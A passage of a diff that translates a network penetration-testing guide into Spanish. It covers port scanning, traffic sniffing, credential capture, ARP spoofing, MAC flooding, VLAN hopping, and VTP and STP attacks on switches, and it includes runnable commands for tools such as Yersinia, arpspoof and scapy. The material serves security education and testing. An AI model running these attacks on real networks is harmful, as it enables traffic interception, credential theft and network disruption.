you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +Es muy común encontrar que todo tipo de paquetes ICMP están siendo filtrados. Entonces, lo único que puedes hacer para verificar si un host está activo es **intentar encontrar puertos abiertos**. Cada host tiene **65535 puertos**, así que, si tienes un alcance "grande", **no puedes** probar si **cada puerto** de cada host está abierto o no, eso tomaría demasiado tiempo.\ +Entonces, lo que necesitas es un **escáner de puertos rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) y una lista de los **puertos más utilizados:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +También podrías realizar este paso con `nmap`, pero es más lento y `nmap` tiene problemas para identificar hosts activos. -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### Descubrimiento de Puertos HTTP +Esto es solo un descubrimiento de puertos TCP útil cuando deseas **enfocarte en descubrir servicios HTTP**: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### Descubrimiento de Puertos UDP -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +También podrías intentar verificar si hay algún **puerto UDP abierto** para decidir si deberías **prestar más atención** a un **host.** Dado que los servicios UDP generalmente **no responden** con **datos** a un paquete de sondeo UDP vacío, es difícil decir si un puerto está siendo filtrado o abierto. La forma más fácil de decidir esto es enviar un paquete relacionado con el servicio en ejecución, y como no sabes qué servicio está en funcionamiento, deberías probar el más probable según el número de puerto: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### Descubrimiento de puertos SCTP ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Aquí puedes encontrar una buena guía de todos los ataques Wifi bien conocidos en el momento de la escritura: {{#ref}} ../pentesting-wifi/ {{#endref}} -## Discovering hosts from the inside +## Descubriendo hosts desde adentro -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Si estás dentro de la red, una de las primeras cosas que querrás hacer es **descubrir otros hosts**. Dependiendo de **cuánto ruido** puedas/quieras hacer, se podrían realizar diferentes acciones: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### Pasivo +Puedes usar estas herramientas para descubrir pasivamente hosts dentro de una red conectada: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Activo -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +Tenga en cuenta que las técnicas comentadas en [_**Descubriendo hosts desde afuera**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también se pueden **aplicar aquí**.\ +Pero, como está en la **misma red** que los otros hosts, puede hacer **más cosas**: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +Note que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también pueden ser **aplicadas aquí**.\ +Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Si **haces ping** a una **dirección de difusión de subred**, el ping debería llegar a **cada host** y podrían **responder** a **ti**: `ping -b 10.10.5.255` +- Haciendo ping a la **dirección de difusión de la red** podrías incluso encontrar hosts dentro de **otras subredes**: `ping -b 255.255.255.255` +- Usa las flags `-PE`, `-PP`, `-PM` de `nmap` para realizar el descubrimiento de hosts enviando respectivamente **ICMPv4 echo**, **timestamp**, y **solicitudes de máscara de subred:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es solo un paquete donde se proporciona un **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\ +Luego, este tipo de paquetes generalmente se envían en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\ +Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repita). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## Escaneo de Hosts -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Una vez que hayas descubierto todas las IPs (externas o internas) que deseas escanear en profundidad, se pueden realizar diferentes acciones. ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **Puerto** abierto: _SYN --> SYN/ACK --> RST_ +- **Puerto** cerrado: _SYN --> RST/ACK_ +- **Puerto** filtrado: _SYN --> \[SIN RESPUESTA]_ +- **Puerto** filtrado: _SYN --> mensaje ICMP_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Hay 2 opciones para escanear un puerto UDP: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- Enviar un **paquete UDP** y verificar la respuesta _**ICMP unreachable**_ si el puerto está **cerrado** (en varios casos, ICMP será **filtrado**, por lo que no recibirás ninguna información si el puerto está cerrado o abierto). +- Enviar **datagramas formateados** para provocar una respuesta de un **servicio** (por ejemplo, DNS, DHCP, TFTP y otros, como se enumera en _nmap-payloads_). Si recibes una **respuesta**, entonces, el puerto está **abierto**. +**Nmap** **mezclará ambas** opciones usando "-sV" (los escaneos UDP son muy lentos), pero ten en cuenta que los escaneos UDP son más lentos que los escaneos TCP: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` - ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. +**SCTP (Stream Control Transmission Protocol)** está diseñado para ser utilizado junto con **TCP (Transmission Control Protocol)** y **UDP (User Datagram Protocol)**. Su principal propósito es facilitar el transporte de datos de telefonía a través de redes IP, reflejando muchas de las características de fiabilidad que se encuentran en **Signaling System 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 a través de redes IP. -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +El soporte para **SCTP** es proporcionado por varios sistemas operativos, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** y **VxWorks**, lo que indica su amplia aceptación y utilidad en el campo de las telecomunicaciones y redes. +Se ofrecen dos escaneos diferentes para SCTP por nmap: _-sY_ y _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### Evasión de IDS e IPS {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **Más opciones de nmap** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### Revelando direcciones IP internas +**Los enrutadores, cortafuegos y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, se pueden capturar paquetes en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un cortafuegos, es probable que tales paquetes sean filtrados. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +Con el sniffing puedes aprender detalles de rangos IP, tamaños de subred, direcciones MAC y nombres de host al revisar tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing pasivo de red. -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Si una red Ethernet conmutada está configurada correctamente, solo verás tramas de difusión y material destinado a tu dirección MAC. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +También se pueden capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como la interfaz gráfica en tiempo real. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Obviamente. -### Capturing credentials +### Capturando credenciales -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo. -## LAN attacks +## Ataques LAN -### ARP spoofing +### Suplantación ARP -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +La suplantación ARP consiste en enviar ARPResponses gratuitos para indicar que la IP de una máquina tiene la MAC de nuestro dispositivo. Luego, la víctima cambiará la tabla ARP y contactará nuestra máquina cada vez que quiera contactar la IP suplantada. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Flooding - Desbordamiento de CAM -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (broadcasting todo el tráfico). ```bash macof -i ``` +En los switches modernos, esta vulnerabilidad ha sido corregida. -In modern switches this vulnerability has been fixed. +### Ataques 802.1Q VLAN / DTP -### 802.1Q VLAN / DTP Attacks +#### Trunking Dinámico -#### Dynamic Trunking +El **Dynamic Trunking Protocol (DTP)** está diseñado como un protocolo de capa de enlace para facilitar un sistema automático de trunking, permitiendo que los switches seleccionen automáticamente puertos para el modo trunk (Trunk) o modo no trunk. La implementación de **DTP** a menudo se considera indicativa de un diseño de red subóptimo, subrayando la importancia de configurar manualmente los trunks solo donde sea necesario y asegurando una documentación adecuada. -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +Por defecto, los puertos de los switches están configurados para operar en modo Dynamic Auto, lo que significa que están listos para iniciar el trunking si son solicitados por un switch vecino. Surge una preocupación de seguridad cuando un pentester o atacante se conecta al switch y envía un marco DTP Desirable, obligando al puerto a entrar en modo trunk. Esta acción permite al atacante enumerar VLANs a través del análisis de marcos STP y eludir la segmentación de VLAN al configurar interfaces virtuales. -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +La presencia de DTP en muchos switches por defecto puede ser explotada por adversarios para imitar el comportamiento de un switch, obteniendo así acceso al tráfico a través de todas las VLANs. El script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se utiliza para monitorear una interfaz, revelando si un switch está en modo Default, Trunk, Dynamic, Auto o Access—siendo este último la única configuración inmune a ataques de VLAN hopping. Esta herramienta evalúa el estado de vulnerabilidad del switch. +Si se identifica una vulnerabilidad en la red, se puede emplear la herramienta _**Yersinia**_ para "habilitar el trunking" a través del protocolo DTP, permitiendo la observación de paquetes de todas las VLANs. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +Para enumerar las VLANs, también es posible generar el marco DTP Desirable con el script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. No interrumpa el script bajo ninguna circunstancia. Inyecta DTP Desirable cada tres segundos. **Los canales de trunk creados dinámicamente en el switch solo viven durante cinco minutos. Después de cinco minutos, el trunk se desconecta.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +Me gustaría señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Desirable, lo que le dice al puerto que cambie al modo Trunk. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Atacando VLANs específicas +Una vez que conozcas los IDs de VLAN y los valores de IP, puedes **configurar una interfaz virtual para atacar una VLAN específica**.\ +Si DHCP no está disponible, entonces usa _ifconfig_ para establecer una dirección IP estática. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,175 +321,155 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` - #### Automatic VLAN Hopper -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +El ataque discutido de **Dynamic Trunking y la creación de interfaces virtuales para descubrir hosts dentro** de otras VLANs se **realiza automáticamente** con la herramienta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) #### Double Tagging -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). +Si un atacante conoce el valor del **MAC, IP y VLAN ID del host víctima**, podría intentar **doblar la etiqueta de un marco** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Como la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** a protocolos que pueden realizar algunas acciones interesantes (como SNMP). -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host de su propiedad si recibe algunos paquetes de la víctima. ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +Para realizar este ataque, podrías usar scapy: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` +#### Bypass de Segmentación Lateral de VLAN -#### Lateral VLAN Segmentation Bypass - -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Si tienes **acceso a un switch al que estás conectado directamente**, tienes la capacidad de **eludir la segmentación de VLAN** dentro de la red. Simplemente **cambia el puerto a modo trunk** (también conocido como trunk), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección dinámicamente (DHCP) o puedes configurarla estáticamente. Depende del caso. {{#ref}} lateral-vlan-segmentation-bypass.md {{#endref}} -#### Layer 3 Private VLAN Bypass +#### Bypass de VLAN Privada de Capa 3 -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +En ciertos entornos, como redes inalámbricas para invitados, se implementan configuraciones de **aislamiento de puertos (también conocido como VLAN privada)** para evitar que los clientes conectados a un punto de acceso inalámbrico se comuniquen directamente entre sí. Sin embargo, se ha identificado una técnica que puede eludir estas medidas de aislamiento. Esta técnica explota la falta de ACLs de red o su configuración incorrecta, permitiendo que los paquetes IP sean enrutados a través de un router para alcanzar a otro cliente en la misma red. -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw. +El ataque se ejecuta creando un **paquete que lleva la dirección IP del cliente de destino pero con la dirección MAC del router**. Esto provoca que el router reenvíe erróneamente el paquete al cliente objetivo. Este enfoque es similar al utilizado en Ataques de Doble Etiquetado, donde se utiliza la capacidad de controlar un host accesible para la víctima para explotar la vulnerabilidad de seguridad. -**Key Steps of the Attack:** +**Pasos Clave del Ataque:** -1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address. -2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings. +1. **Creación de un Paquete:** Se crea un paquete especialmente diseñado para incluir la dirección IP del cliente objetivo pero con la dirección MAC del router. +2. **Explotación del Comportamiento del Router:** El paquete creado se envía al router, que, debido a la configuración, redirige el paquete al cliente objetivo, eludiendo el aislamiento proporcionado por las configuraciones de VLAN privada. -### VTP Attacks +### Ataques VTP -VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases. +VTP (Protocolo de Trunking de VLAN) centraliza la gestión de VLAN. Utiliza números de revisión para mantener la integridad de la base de datos de VLAN; cualquier modificación incrementa este número. Los switches adoptan configuraciones con números de revisión más altos, actualizando sus propias bases de datos de VLAN. -#### VTP Domain Roles +#### Roles del Dominio VTP -- **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members. -- **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications. -- **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero. +- **Servidor VTP:** Gestiona VLANs—crea, elimina, modifica. Transmite anuncios de VTP a los miembros del dominio. +- **Cliente VTP:** Recibe anuncios de VTP para sincronizar su base de datos de VLAN. Este rol está restringido de modificaciones locales de configuración de VLAN. +- **Transparente VTP:** No participa en actualizaciones de VTP pero reenvía anuncios de VTP. No se ve afectado por ataques de VTP, mantiene un número de revisión constante de cero. -#### VTP Advertisement Types +#### Tipos de Anuncios VTP -- **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information. -- **Subset Advertisement:** Sent following VLAN configuration changes. -- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Anuncio Resumen:** Transmitido por el servidor VTP cada 300 segundos, llevando información esencial del dominio. +- **Anuncio de Subconjunto:** Enviado tras cambios en la configuración de VLAN. +- **Solicitud de Anuncio:** Emitida por un cliente VTP para solicitar un Anuncio Resumen, típicamente en respuesta a la detección de un número de revisión de configuración más alto. -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +Las vulnerabilidades de VTP son explotables exclusivamente a través de puertos trunk, ya que los anuncios de VTP circulan únicamente a través de ellos. Los escenarios posteriores a un ataque DTP pueden pivotar hacia VTP. Herramientas como Yersinia pueden facilitar ataques de VTP, con el objetivo de eliminar la base de datos de VLAN, interrumpiendo efectivamente la red. +Nota: Esta discusión se refiere a la versión 1 de VTP (VTPv1). ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +En el modo gráfico de Yersinia, elige la opción de eliminar todos los VLAN de VTP para purgar la base de datos de VLAN. -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### Ataques STP -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Si no puedes capturar tramas BPDU en tus interfaces, es poco probable que tengas éxito en un ataque STP.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +Enviando muchos BPDUs TCP (Notificación de Cambio de Topología) o Conf (los BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **Ataque STP TCP** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Cuando se envía un TCP, la tabla CAM de los switches se eliminará en 15s. Luego, si estás enviando continuamente este tipo de paquetes, la tabla CAM se reiniciará continuamente (o cada 15 segundos) y cuando se reinicie, el switch se comporta como un hub. ```bash yersinia stp -attack 1 #Will send 1 